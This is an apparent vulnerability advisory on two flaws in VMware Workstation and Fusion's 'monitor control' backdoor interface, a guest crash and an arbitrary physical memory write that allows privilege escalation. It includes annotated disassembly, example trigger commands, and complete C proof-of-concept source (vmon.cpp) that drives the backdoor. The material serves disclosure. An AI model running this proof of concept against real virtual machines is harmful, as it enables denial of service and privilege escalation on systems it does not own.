two security relevant vulnerabilities have been discovered affecting a
range of the VMWare virtualization product line.
- Denial of Service vulnerability allowing an unprivileged user to crash
- Vulnerability allowing an unprivileged user to escalate privileges
within the guest VM.
The vulnerabilities have initially been discovered in VMWare Workstation
6.5, have been confirmed to also affect the most recent versions of both
VMWare Workstation and VMWare Fusion and are believed to affect further
products.
*update*
the bugs have been silently fixed with VMWare Workstation 7.1 by
removing the monitor control backdoor code in vmware-vmx.
the vulnerabilities both are located within the "monitor control"
backdoor interface, which is not enabled by default. With a virtual
machine's monitor control backdoor interface enabled, a VM user could
cause the VM to either crash by causing it to access invalid memory or
writing to an arbitrary (virtualized) physical memory address, starting
at address 0x84 onwards and thus elevate privileges.
This is done by sending the backdoor data that is not validated by
vmware-vmx. In particular, the monitor control backdoor's sub-service
numbers 10 and 11 are affected, which both process physical addresses
that are passed to the backdoor by the user. The physical address is
then converted/mapped by vmware-vmx.exe to an address pointing to its
respective virtualized physical address and subsequently accessed
without validation.
The code snippet below shows the vulnerable code accessing potentially
invalid memory, leading to a Denial of Service condition (sub-service
11). The physical address passed to the monitor control backdoor by the
user is passed as an argument to
convert_host_phys_addr_to_virtual_mem_addr() at address 0x75AAF4 in
register eax. Upon return of the function, eax holds the converted
address in eax, which is copied to register esi and dereferenced at
address 0x75AAFF. If the user-supplied physical address is invalid, the
respective vmware-vmx process crashes.
.text:0075AAE7 ; DATA XREF:
.text:off_75AE18o
.text:0075AAE7 lea ecx, [ebp+a4] ; jumptable
0075AA93 case 9
.text:0075AAEA push ecx ; a4
.text:0075AAEB push 3 ; a3
.text:0075AAED push ebx
.text:0075AAEE push 188h ; a2
.text:0075AAF3 push ebx
.text:0075AAF4 push eax ; phys_addr
.text:0075AAF5 mov [ebp+a4], ebx
.text:0075AAF8 call
convert_host_phys_addr_to_virtual_mem_addr
.text:0075AAF8
.text:0075AAFD mov esi, eax
.text:0075AAFF mov eax, [esi+80h] ; addr+0x80
.text:0075AB05 add esp, 18h
.text:0075AB08 sub eax, ebx
.text:0075AB0A jz short case_0
The vulnerable code belonging to sub-service 10 of the backdoor is shown
below. Again, it takes a physical address provided by the user, converts
it, dereferences it at address 0x75AC68 and passes it to sub_75BD80().
This function has not been analyzed further but is believed to conduct
some kind of memory comparison. Its return code in eax subsequently is
stored to a user-controlled memory address at offset 0x84 (address
0x75AC78 in the disassembly), allowing the user to write to an arbitrary
physical memory address within the guest system. This can lead to
further compromise since it is possible to patch security-critical OS
code in memory, such as the SeAccessCheck() function exported by
ntoskrnl.exe on Windows virtual machines.
.text:0075AC08 lea ecx, [ebp+var_8] ; jumptable
0075AA93 case 8
.text:0075AC0B push ecx ; a4
.text:0075AC0C push 3 ; a3
.text:0075AC0E push ebx
.text:0075AC0F push 88h ; 'ê' ; a2
.text:0075AC14 push ebx
.text:0075AC15 push eax ; phys_addr
.text:0075AC16 mov [ebp+var_8], ebx
.text:0075AC19 call
convert_host_phys_addr_to_virtual_mem_addr
.text:0075AC19
.text:0075AC1E mov edx, dword_9A5E98
.text:0075AC24 mov esi, eax
.text:0075AC26 mov eax, [edx+210h]
.text:0075AC2C shr eax, 2
.text:0075AC2F add esp, 18h
.text:0075AC32 test al, 1
.text:0075AC34 jz short loc_75AC68
.text:0075AC34
...
.text:0075AC68 ;
---------------------------------------------------------------------------
.text:0075AC68
.text:0075AC68 loc_75AC68: ; CODE XREF:
monitorctl+1D4j
.text:0075AC68 mov edx, [esi+80h]
.text:0075AC6E push esi
.text:0075AC6F push edx
.text:0075AC70 call sub_75BD80
.text:0075AC70
.text:0075AC75 add esp, 8
.text:0075AC78 mov [esi+84h], eax ; writes
0xFFFFFFFF to arbitrary address
Examples:
vmon 11 1111111111111111 <- crashes the vmware-vmx.exe process
vmon 10 <address> <- writes to arbitrary physical address starting at
physical address 0x84 onwards
vmon.cpp
/*
####################################################################
# #
# #
# add the following line to your vmware vmx file to enable #
# "monitor control" backdoor: #
# #
# isolation.monitor.control.disable = "FALSE" #
# #
# #
####################################################################
*/
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <excpt.h>
int main(int argc, char* argv[])
{
unsigned int subservice = 0;
unsigned int value = 0;
unsigned int result = 0;
unsigned int code = 0;
if(argc < 3)
return printf("%s: <subservice no> <value>\nmissing argument.\n",argv[0]);
subservice = atoi(argv[1]);
value = atoi(argv[2]);
__try
{
__asm
{
push eax
push edx
push ecx
push ebx
mov eax, 'VMXh'
mov edx, 'VX'
mov ecx, subservice
shl ecx, 10h // upper 16 bit: subservice number for "monitor control" command
or ecx, 10h // lower 16 bit: backdoor service number for "monitor control" command (0x10)
mov ebx, value // value to pass to "monitor control" subservice
in eax, dx
mov result, eax
mov code, ecx
pop ebx
pop ecx
pop edx
pop eax
}
}
__except( EXCEPTION_EXECUTE_HANDLER)
{
printf("vmware backdoor not available.");
return 0;
}
printf("result: %08X (eax), code: %08X (ecx)\n", result, code);
return result;
}